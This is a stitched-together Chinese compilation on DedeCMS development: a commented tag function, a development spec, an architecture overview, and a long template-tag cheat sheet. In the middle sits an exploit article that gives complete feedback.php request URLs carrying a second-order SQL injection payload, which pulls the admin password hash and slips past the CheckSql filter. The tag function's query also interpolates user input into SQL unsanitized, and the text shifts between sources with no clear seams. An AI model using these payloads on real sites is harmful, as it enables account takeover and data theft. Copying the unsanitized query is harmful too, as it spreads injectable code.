【特别说明:此处的判断作用并不大,因为咱们这个标签可以用于多个typeid,且最可能是的你没有指定ID,而不是你指定的ID为0,你可以通过单方面的指定ID等于0,去测试效果,它会告诉你赋值不能为空哦,哈哈,测试的时候你可别用你数据库里没有的栏目ID,硬加上去啊,后果是不显示任何东西】$row1=$ctag->CAttribute->Items['row'];//此处获取传入的属性row和其值,为后面的判断服务if (empty($typeid))return '属性typeid赋值不能为空哦,亲!';//此处再次判断typeid,若为空,就返回木有指定typeid//注意若是将SetQuery改为GetOne,将会只生效typeid里的第一个值,其他值不生效if(!empty($row1)){$dsql->SetQuery("Selectid,typename,typedir,isdefault,ispart,defaultname,namerule2,moresite,siteurl,sitepathFrom `dede_arctype` where id in ($typeid) limit 0,$row1 ");//此处是一个查询语句,要找原因的话最好是去查看dedesql.class.php,这个类,注意次数的$typeid,我们通过上面获取的typeid来查询,当属性里面有这个参数且赋值了才这样查询数据库}else{ $dsql->SetQuery("Select id,typename,typedir,isdefault,ispart,defaultname,namerule2,moresite,siteurl,sitepathFrom `dede_arctype` where id in ($typeid)");}//与上面相反的处理if (trim($innertext) == '')//若是去除空格后,底层模板仍然为空,其实就是说使用标签的时候没有写底层字段,直接会输出其自带的模板$innertext = GetSysTemplets("part_type_list.htm");$dsql->Execute();//返回查询的数据//var_dump($zzl);//die();$dtp = new DedeTagParse();//该函数是建立新的织梦模板类【其实去看下dedetag.class.php,你就明白咋回事了】$dtp->SetNameSpace('field', '[', ']');//建立一个新的标记的命名空间while($row = $dsql->GetArray()) {//GetArray()返回当前的一条记录并把游标移向下一记录,【游标就和c里的指针差不多意思】,你通过var_dump变量$row,你就发现什么都调出来了,//又是一个条件,头疼吧,没办法,要看懂,就得慢慢摸索,你用一下var_dupm你就发现,太神奇了,$row是个关联数组啊,而且你要调用的都存在这个数组里了$row['typelink'] = $row['typeurl'] = GetTypeUrl($row['id'],MfTypedir($row['typedir']),$row['isdefault'],$row['defaultname'],$row['isp art'],$row['namerule2'],$row['moresite'],$row['siteurl'],$row['sitepath']); //你懂得这里就是为了让$dtp->LoadSource($innertext);//这个地方就是载入模板里的字符串咯//志龙测试//echo '<pre>';//var_dump($row);// print_r($ctag);//die();//志龙测试foreach($dtp->CTags as $tagid=>$ctag) {//echo '<pre>';//var_dump($dtp->CTags);//die();//遍历下这个数组你懂得,不懂的可得去学习下php,要不然真心会不知道所以然if(!empty($row[strtolower($ctag->GetName())])) {//这里又一个判断条件,若是这个什么东西$row[strtolower($ctag->GetName())]非空就执行下面的句子,然后里面加一个将字符串改成小写字母的函数,一般指的是英文的啦$dtp->Assign($tagid,$row[$ctag->GetName()]);//执行的句子是将$row[$ctag->GetName的值赋予给$tagid],就是分配指定id标记的值// echo '<pre>';// var_dump($tagid);//die();}}$revalue .= $dtp->GetResult();//最后将得到的结果拼接到这个变量里}return $revalue;//返回最终的结果就OK了,最终你会看到指定多个typeid后,都生效}//此标签的BUG:你不能调用0这个id【如:0,1,2,3或者只写0】,你只要这样写,直接导致提示,亲,你木有指定typeid哦,这个问题就让读者去处理吧!?>。
DEDECMS 织梦二次开发详解一、城市根据省市(IP)判断当地区域来显示当地内容,后台可以选择城市和修改区域,归类与合并。
可以手动选择城市地区,防止IP错误而导致城市区域不正确,可以根据方维O2O,或者团购城市判断来作为参考。
后台可以开启默认省市为默认值。
二、广告后台广告自定义功能的选择和修改,根据地区可以方便添加各类广告,如幻灯广告、悬浮广告、横幅广告,豆腐块广告,增加广告显示开始时间与结束时间,支持Flash、JPG、HTML以及JS其他页面调用。
明确前台广告标签方便添加和修改,可以根据目前DEDECMS 的后台广告功能进行修改和参考。
三、注解二次开发要明确开发注解,并已帮助文本说明模式表述清楚,防止以后进行再次开发后无法理解和操作。
具体可以参考方维网站的功能模式来开发。
关于城市布局:①可采用GET接口模式进行参数传递可设置按天气路径读取或采用手工输出显示模式加载天气网的参数接口②使用自定义城市模式,判断IP来源属性加载当地区域天气情况。
上述关于城市选项,可通过操作后台,进行插件功能定义操作。
广告布局模块:①可设置自定义广告模块大小,广告显示开始结束时间、广告格式类别(如flash 图文或js代码格式)②广告显示先后顺序,包括广告位置,设置调用为自定义参数,自定义操作广告布局顺序等广告显示操作。
关于程序安全问题:通过加载插件运行模式,对调dedecms后台,只通过后台验证管理,广告的修改添加删除均采用自定义参数模式代码编写添加模式,后台插件模块同时添加广告后台预览功能用于对调显示合理方案。
根据ip显示广告,后台可以添加广告后选择城市,当用户浏览网站的是时候根据自己的城市区域显示该地方广告。
dedecms代码详解很全面dedecms代码研究(1)开篇dedecms 相信大家一定都知道这个cms 系统,功能比较强大,有比较完善的内容发布,还有内容静态化系统,还有就是它有自己独特的标签系统和模板系统。
而模板系统也是其他cms系统比较难模仿的的东西,这个东西还是需要一点开发功力和技巧的。
本系列文章就研究一下dedecms的这套系统,挖掘一下看看里面有什么好东西。
建议大家先了解一下dedecms的功能。
自己先动手用一下,对系统功能有个大概了解。
本文先带领大家了解一下dedecms的代码和功能架构。
其实,dedecms在架构上没什么应用架构模式可言,就是最简单的PHP 应用而已。
访问不同的PHP 文件,管理不同的系统功能。
看目录大家都能猜出来各个目录干什么用的。
include目录放系统的一些公用函数和类,plus目录放插件,templates目录放模板,dede 目录是管理后台目录。
我们打开include 目录,看看里面都有什么好东西。
calendar 一个选时间的jscaptcha 一个验证码,还是开源组件code 没啥意思,翻页的文字data 里面是一些系统用到的资源,比如声音,分词库,字体,图片等dialog 里面估计是一些AJAX弹出窗口的内容部分。
以后碰到了再说inc 里面一些单独的功能类函数,以后研究一下为什么要单独放payment 支付接口taglib 好东西,是dedecms的标签存放的地方,打开看看,里面一堆文件,貌似就是dedecms的模板标签啦tpllib 模板库?暂时搞不明白,希望随着研究深入,能弄明白其他include 目录下的文件估计都是一些最基本的功能文件啦,比如常用函数,模板系统之类的东西了。
用到再说吧打开dede目录(就是dedecms的管理目录)看看,哟嗬,里面的东西还挺多,看名字就知道了,都是各种功能管理文件,一个功能一个文件。
最原始的网站开发模式做出来的。
Dedecms 二次注入经典exp构造脚本安全 -电脑资料0×01 前言Long long ago,发现dedecms二次注入的一个经典代码审计中二次攻击的案例,但限于字段大小不能超过60字节而显得比较鸡肋,在safekeyer集体的智慧之下发现两种突破办法,Dedecms 二次注入经典exp构造脚本安全。
此文重在exp的构造,如需详细漏洞分析,请看:WooYun: dedecms鸡肋级注入与细节分析过程0×02 方法一:直接缩短法理论:insert –> select –>insert –>selectExp:第一次inserthttp://127.0.0.1/dede/plus/feedback.php?action=send&comtype=comments&aid=1&isconfirm=yes&cmtuser=admin&msg=asfsafsdaf&face=6&validate=slep&title=1′,”‘”,1,3,4,5,6,7,8,(select pwdfrom %23@__admin))%23&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA第二次inserthttp://127.0.0.1/dede/plus/feedback.php?action=send&comtype=reply&fid=27&isconfirm=yes&cmtuser=admin&msg=asfsafsdaf&face=6&validate=angr&title=1&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA看出我们第一次insert的payload是:1′,”‘”,1,3,4,5,6,7,8,(select pwd from %23@__admin))%23数据库:返回结果:绕过具体代码分析:function CheckSql($db_string,$querytype='select'){·····(此处省略)while (TRUE){$pos = strpos($db_string, '\'', $pos + 1);if ($pos === FALSE){break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (TRUE){$pos1 = strpos($db_string, '\'', $pos + 1);$pos2 = strpos($db_string, '\\', $pos + 1);if ($pos1 === FALSE){break;}elseif ($pos2 == FALSE || $pos2 > $pos1){$pos = $pos1;break;}$pos = $pos2 + 1;$clean .= '$s$';$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);//echo $clean;exit;$clean = trim(strtolower(preg_replace(array('~\s+~s' ),array(' '), $clean)));····(此处省略)}上述检测代码作用就是替换sql语句中两个引号之间的内容为$s$第二次insert的sql:INSERT INTO`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`isch eck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES(’1′,’0′,’test’,’1′,”‘”,1,3,4,5,6,7,8,(select pwd fromdede_admin))#’,’127.0.0.1′,’1′,’1367583435′,’2′,’0′,’0′,’f eedback’,’6′,’asfsafsdaf’)经过上述处理:INSERT INTO`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`isc heck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES($s$,$s$,$s$,$s$,”$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)然后function CheckSql($db_string,$querytype=’select’)得检测绕过了,《Dedecms 二次注入经典exp构造脚本安全》。
DEDECMS二次开发时需要收藏的模板标签:需求:1. 模板路径、include路径标签、plus路径标签还有就是<head>内的SEO标题等相关标签;2.系统自带的首页、列表页、内容页等常用的标签,如时间、作者、分页、顶踩等等;3.更深入的二次开发需要的模板调用标签,通过sql语句来实现数据的调用;4.一些链接、图片、标题等标签的灵活使用;路径、SEO标题、模板基本信息标签:1. 模板路径调用标签: {dede:field name='templeturl'/}2. 关键描述调用标签:<meta name="keywords" content="{dede:field name='keywords'/}"><meta name="description" content="{dede:fieldname='description' function='html2text(@me)'/}">3. 网站标题调用标签: {dede:global name='cfg_webname'/}4. 指定调用栏目标签: {dede:type typeid='ID'}[field:typename /]{/dede:type}5. 频道栏目调用标签:{dede:channel type='top'}<li><a href='[field:typelink/]'>[field:typename/]</a> </li>{/dede:channel}6. 友情链接调用标签: {dede:flink row='24' linktype=2/}7. 网站版权调用标签: {dede:global name='cfg_powerby'/}8. 网站备案调用标签: {dede:global name='cfg_beian'/}9. 当前栏目名称标签: {dede:field name='typename'/}10 .当前位置调用标签: {dede:field name='position'/}11. 列表文章调用标签: {dede:list pagesize='8'}{/dede:list}12.栏目链接调用标签:[field:typelink function='str_replace("a ","a class=ulink ",@me)'/]13. 作者链接调用标签: [field:writer/]14. 列表点击调用标签: [field:click/]15. 列表评论调用标签: [field:postnum/]16. 查阅全文调用标签: <a href="[field:arcurl/]">查阅全文...</a>17. 列表时间调用标签:[field:pubdate function="GetDateTimeMK(@me)"/]18 . 列表分页调用标签: {dede:pagelist listsize='4' listitem='index pre pageno next end '/}19. 文章标题调用标签: {dede:field name="title"/}20. 文章来源调用标签:{dede:field name='source'/}21. 文章作者调用标签: {dede:field name='writer'/}22. 文章时间调用标签: {dede:field name='pubdate' function='GetDateMk(@me)'/}23. 文章Tag调用标签: {dede:tag type='current'/}导航、会员、内容页等模板标签:1. 栏目导航调用标签:<a href="/">首页</a></li>{dede:channel type='top' row='8' currentstyle="<li class='thisclass'><a href='~typelink~'>~typename~</a> </li>"}<li><a href='[field:typelink/]' target="_blank">[field:typename/]</a> </li>{/dede:channel}2. 文章点击调用标签:<script src="{dede:field name='phpurl'/}/count.php?aid={dede:field name='ID'/}&mid={dede:field name='memberid'/}&view=yes" language="javascript"></script>3. 文章内容调用标签: {dede:field name='body'/}4.文章分页调用标签:{dede:pagebreak/}5.收藏、推荐评论、打印、关闭:[<a href="{dede:field name='phpurl'/}/stow.php?arcID={dede:field name=ID/}">收藏</a>][<a href="{dede:field name='phpurl'/}/recommend.php?arcID={dede:field name=ID/}">推荐</a>][<a href="{dede:field name='phpurl'/}/feedback.php?arcID={dede:field name=ID/}">评论</a>][<a href="#" onClick="window.print();">打印</a>][<a href="#" onClick="window.close();">关闭</a>]6.文章顶客次数标签:{dede:field name='digg'/} <ahref="javascript:Digg('digg',{dede:field name='id'/});">顶一下</a>7. 上一篇/下一篇标签: {dede:prenext get='pre'/}{dede:prenext get='next'/}8. 头条推荐调用标签:{dede:arclist row=1 titlelen=24 orderby=pubdate att=2} <dt> [field:textlink/]<span>[field:description/]……</span></dt>{/dede:arclist}9.最新文章调用标签:{dede:arclist row=8 titlelen=24 orderby=pubdate}<li>[field:textlink/]</li> {/dede:arclist}10. 热关键字调用标签: {dede:hotwords num='5' subday='30'/}11. 最新图文调用标签:{dede:arclist row=4 titlelen=20 orderby=pubdate type='image.' imgwidth='152' imgheight='98'}<dd><a href="[field:arcurl/]"><img src="[field:picname/]" alt="[field:title/]" > </a><span><a title="[field:title function='htmlspecialchars(@me)'/] "href="[field:arcurl /]">[field:title /]</a></span></dd>{/dede:arclist}12.推荐文档调用标签:{dede:arclist type='commend' titlelen='40' row='10'} <li><a title="[field:title function='htmlspecialchars(@me)'/] "href="[field:arcurl /]">[field:title /]</a></li> {/dede:arclist}13.随机推荐调用标签:{dede:arclist type='commend' titlelen='26' orderby='rand' row='10'}<li><a title="[field:title function='htmlspecialchars(@me)'/] "href="[field:arcurl /]">[field:title /]</a></li>{/dede:arclist}14.热点文档调用标签:{dede:arclist orderby='click' titlelen='40' row='10'} <li><a title="[field:title function='htmlspecialchars(@me)'/] "href="[field:arcurl /]">[field:title /]</a></li>{/dede:arclist}15.相关文档调用标签:{dede:likeart titlelen='24' row='10'}<li><a title="[field:title function='htmlspecialchars(@me)'/] "href="[field:arcurl /]">[field:title /]</a></li>{/dede:likeart}16.调用图片链接标记:<a href="[field:arcurl/]"><img src="[field:picname/]" alt="[field:title/]" ></a> <a href='[field:arcurl /]'>[field:image/]</a>17.调用文字链接标记:<a href="[field:aucurl/]" title="[field:title/]">[field:title/]</a><a title="[field:title function='htmlspecialchars(@me)'/] "href="[field:arcurl /]">[field:title /]</a>18. 控制字数描述标记: [field:description function="cn_substr(@me,100)"/]...19. 调用文章tags标记: {dede:tag type='current'/}20. 文章关键字与描述:{dede:field name='keywords'/}{dede:field name='description' function='html2text(@me)'/}21. 栏目介绍:{dede:field name='description' function='html2text(@me)'/}22. 调用外部htm文件:{dede:include file='head.htm' ismake='yes'/}23.搜索文章调用标签:{dede:global name='keyword'/}"的搜索结果 - {dede:global name='cfg_webname'/} 搜索" {dede:global name='keyword'/}</span>" 的结果24. 评论:[field:postnum/]25. 作者:[field:writer /]数字排行、隔行换色、24小时更新等特效:1. 递增序列号: [field:global name=autoindex/]2. 列表隔5行加一行线:{dede:list pagesize='50'}<li><a href="[field:arcurl /]" title="[field:titlefunction='htmlspecialchars(@me)'/]" target=_blank>[field:title function="cn_substr(@me,48)"/]</a>[field:pubdate runphp='yes'] $a="<font color=red>".strftime('%m-%d',@me)."</font>";$b=strftime('%m-%d',@me);$ntime = time();$day3 = 3600 * 24;if(($ntime - @me) < $day3) @me = $a;else @me =$b;[/field:pubdate]<br>[field:global name=autoindex runphp="yes"]if(@me%5==0)@me="<hr />";else @me="";[/field:global]{/dede:list}<div class="line2 m1 m3"></div></li>3. 最新文章列表“隔行换色” 的方法:{dede:arclist orderby=pubdate titlelen='26' row='10'}[field:global runphp='yes' name=autoindex]$a="<div id='a'>";$b="<div id='b'>";if ((@me%2)==0) @me=$a;else @me=$b;[/field:global]<ul><li>[field:title/]</li></ul></div>{/dede:arclist}4. 24小时内更新的文章时间显示为红色:[field:pubdate runphp='yes']$a="<font color=red>".strftime('%m-%d',@me)."</font>";$b=strftime('%m-%d',@me);$ntime = time();$day3 = 3600 * 24;if(($ntime - @me) < $day3) @me = $a;else @me =$b;[/field:pubdate]5. COPY页面内容,自动在后面加上网站信息,利于SEO<script type="text/javascript">document.body.oncopy = function () { setTimeout( function () { var text = clipboardData.getData("text"); if (text) { text = text + "\r\n本篇文章来源于 www.地址.COM 原文链接:"+location.href; clipboardData.setData("text", text); } }, 100 ) }</script>6. 按时间点击文章排行榜调用标签:按总: {dede:arclist row='24' titlelen=24 orderby=click}按月: {dede:arclist row='24' titlelen=8 orderby=click subday=30}按周: {dede:arclist row='24' titlelen=8 orderby=click subday=7}7. 在首页调用某栏目的子栏目{dede:channel type=’sun’ typeid=’栏目ID’}<a href=”[field:typelink/]“>[field:typename/]</a>{/dede:channel}或者{dede:global name=’maplist’/}8.搜索表单调用标签:<form action="{dede:global name='cfg_phpurl'/}/search.php" name="formsearch"><input type="hidden" name="kwtype" value="1" /><input name="keyword" id="keyword" type="text" class="searchtxt" /><select name="searchtype" id="searchtype"><option value="titlekeyword" selected>智能模糊搜索</option><option value="title">仅搜索标题</option></select><input type="image"src="{dede:field name='templeturl'/}/images/topsearch_submit.gif" /></form>9. 实现“文章标题-2级栏目-1级栏目-网站名”形式{dede:field name='title'/}-{dede:field name='position' runphp='yes'}$tc="-"; //分隔符$tw=$GLOBALS['cfg_list_symbol']; //调用位置分隔符@me=html2text(@me); //去除html标签$tf=split($tw,@me); //分解成数组for($ta=(count($tf)-2);$ta>=1;$ta--){ //循环赋值给$tk$tk.=trim($tf[$ta]).$tc;}$tk=substr($tk,0,-1);@me=$tk; //赋值给@me{/dede:field}-{dede:global name='cfg_webname'/}10. 调用缩略图:<img src='{dede:field name="litpic"/}'>11. 发布的文章显示红色日期或加上new字或new小图片给近三天(或当天)发布的文章显示红色日期或加上new字或new小图片等,都是围绕pubdate做文章,写扩展的。